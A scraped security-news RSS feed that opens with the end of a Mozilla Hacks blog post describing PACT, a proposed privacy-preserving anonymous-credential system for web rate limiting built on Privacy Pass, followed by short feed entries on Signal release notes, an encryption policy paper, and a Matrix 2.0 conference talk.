<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
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<title><![CDATA[v8.20.0-beta.1]]></title>
<description><![CDATA[Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.
Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back o...]]></description>
<link>https://tsecurity.de/de/3693283/tools/v8200-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693283/tools/v8200-beta1/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:16 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.</li>
<li>Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back of the line.</li>
</ul>]]></content:encoded>
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<title><![CDATA[v8.20.0]]></title>
<description><![CDATA[Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.
Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back o...]]></description>
<link>https://tsecurity.de/de/3693282/tools/v8200/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693282/tools/v8200/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:15 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.</li>
<li>Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back of the line.</li>
</ul>]]></content:encoded>
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<title><![CDATA[End-to-End Encryption and “Going Dark”]]></title>
<description><![CDATA[New paper: “Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate“:
Abstract: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the curr...]]></description>
<link>https://tsecurity.de/de/3693276/reverse-engineering/end-to-end-encryption-and-going-dark/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693276/reverse-engineering/end-to-end-encryption-and-going-dark/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:01 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New paper: “<a href="https://papers.ssrn.com/sol3/papers.cfm?abstract_id=6959699">Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate</a>“:</p>
<blockquote><p><b>Abstract</b>: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the current controversies over end-to-end encryption (E2EE). Governments around the world have proposed, and in some cases enacted, laws limiting E2EE for law enforcement and national security purposes.</p>
<p>This Article explains the underlying technologies and market developments for a law and policy audience to assess those proposals critically. The Article proceeds in three parts tracking three rounds of the Going Dark Debate. Round 1 covers the Crypto Wars of the 1990s, when U.S. export controls on strong encryption ultimately fell in 1999. Round 2 covers the period roughly 2010 to 2015, when encryption-in-transit became widespread but lawful access remained available through cloud providers, giving rise to what the authors called a “golden age of surveillance” rather than a period of going dark. Round 3 addresses the current debate over E2EE, where no entity between sender and recipient can read the plaintext...</p></blockquote>]]></content:encoded>
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<title><![CDATA[Matrix 2.0 — How we're making Matrix go voom!]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 395x - Views:15995 NOTE: we'll update the FOSDEM 2023 playlist as we gather all the talks. Stay tuned for more Matrix content.

This video was recorded during FOSDEM 2023, and can also be found here: https://fosdem.org/2023/schedule/event/matrix20/

Matrix is an ...]]></description>
<link>https://tsecurity.de/de/3693271/videos/matrix-20-how-were-making-matrix-go-voom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693271/videos/matrix-20-how-were-making-matrix-go-voom/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:49 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 395x - Views:15995 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/eUPJ9zFV5IE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>NOTE: we&#039;ll update the FOSDEM 2023 playlist as we gather all the talks. Stay tuned for more Matrix content.<br />
<br />
This video was recorded during FOSDEM 2023, and can also be found here: https://fosdem.org/2023/schedule/event/matrix20/<br />
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Matrix is an open standard for secure, decentralised communication, which may be familiar from powering the online editions of FOSDEM in 2021 and 2022 (and hybrid-FOSDEM this year!).<br />
<br />
In this talk we will explain the fundamental changes which are landing in Matrix 2.0, which speeds up Matrix to be at least as snappy as the fastest proprietary messaging apps - all while handling thousands of rooms spanning millions of users.<br />
<br />
During 2022 we&#039;ve been on a mission to completely rework the slowest bits of Matrix, aiming that nobody can ever complain about Matrix being sluggish again. In practice this means fundamental changes in:<br />
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- How Matrix syncs data - &quot;sliding sync&quot;, where servers only sync the bare minimum data to clients required to render the UI, providing instant login and instant sync (MSC3575)<br />
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- How room joins work over federation - &quot;faster joins&quot;, where servers only sync the bare minimum data such that clients can start participating in the room as soon as possible (MSC3902)<br />
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- How auth works - switching Matrix to use OIDC natively for all authentication, registration and account management (MSC3861)<br />
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- How VoIP works - switching Matrix to natively support multiparty decentralised E2EE VoIP as the primary calling mechanism (MSC3401 and MSC3898)<br />
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The end result is transformational, and by far the biggest change to Matrix since the project began in 2014. So, we&#039;re calling it Matrix 2.0, and this talk will give a guided tour of everything that&#039;s changed - and show off the new reference matrix-rust-sdk client SDK, which powers the new flagship mobile Matrix client, codenamed Element X.<br />
<br />
00:00 Hello!<br />
00:41 Matrix and its ecosystem<br />
06:33 Spec update<br />
08:10 Matrix is taking over the world<br />
09:26 Demo: Element X is blazing fast<br />
13:25 Behind the scenes of the demo<br />
15:02 How sliding sync works<br />
21:20 One matrix-rust-sdk to rule them all<br />
23:45 Faster remote room joins<br />
25:12 MatrixRTC, Element Call, Matryoshka Widgets<br />
26:37 Demo: Element Call!<br />
28:34 Demo: raiding Element Call with waterfall — Selective Forwarding Units for Matrix<br />
31:02 OpenID Connect: authentication done right<br />
32:04 The future: Digital Markets Act, MIMI, MLS, P2P Matrix<br />
36:32 Demo: P2P Matrix<br />
40:31 Demo: ThirdRoom — Matrix beyond chat and voice<br />
47:16 What&#039;s next?<br />
<br />
Support Matrix!<br />
🪙 Donorbox for individuals - https://donorbox.org/keep-matrix-exciting<br />
💶 Matrix Foundation (paid) membership for orgs - https://forms.gle/Yy345QkB5pifJJNy6<br />
<br />
(This Week in) Matrix<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🐦️ https://twitter.com/matrixdotorg<br />
[m] https://matrix.to/#/#thisweekinmatrix:matrix.org<br/></p>]]></content:encoded>
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<title><![CDATA[‘I thought, I’ve tried everything else, why not give AI a shot?’: the long-lost family reunited by ChatGPT]]></title>
<description><![CDATA[Avtar spent decades wondering what happened to the mother he never got to know. Thousands of miles away, Nicci was haunted by the story of a half-brother given away before she was born. How did a chatbot bring them together?As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh u...]]></description>
<link>https://tsecurity.de/de/3693154/it-nachrichten/i-thought-ive-tried-everything-else-why-not-give-ai-a-shot-the-long-lost-family-reunited-by-chatgpt/</link>
